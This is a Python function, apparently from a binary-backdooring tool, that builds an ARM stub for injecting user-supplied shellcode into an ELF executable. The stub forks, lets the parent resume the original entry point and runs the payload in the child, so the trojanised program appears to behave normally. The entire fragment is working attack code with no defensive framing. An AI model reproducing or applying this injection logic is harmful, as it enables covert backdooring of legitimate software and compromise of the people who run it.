'For user supplied shellcode'

def user_supplied_shellcode(self, CavesPicked={}):

    if (self.SUPPLIED_SHELLCODE is None):
        print '[!]    User    must    provide    shellcode    for    this    module    (-U)'
        sys.exit(0)
    else:
        supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
    self.shellcode1 = '\x00@\xa0\xe1'
    self.shellcode1 += '\x00\x00@\xe0'
    self.shellcode1 += '\x02p\xa0\xe3'
    self.shellcode1 += '\x00\x00\x00\xef'
    self.shellcode1 += '\x00\x00P\xe3'
    self.shellcode1 += '\x04\x00\xa0\xe1'
    self.shellcode1 += '\x04@D\xe0'
    self.shellcode1 += '\x00p\xa0\xe3'
    self.shellcode1 += '\x00\x00\x00\n'
    jmpAddr = (16777215 + (((self.e_entry - (self.shellcode_vaddr + len(self.shellcode1))) - 4) / 4))
    self.shellcode1 += struct.pack('<I', jmpAddr).strip('\x00')
    self.shellcode1 += '\xea'
    self.shellcode1 += supplied_shellcode
    self.shellcode = self.shellcode1
    return self.shellcode1
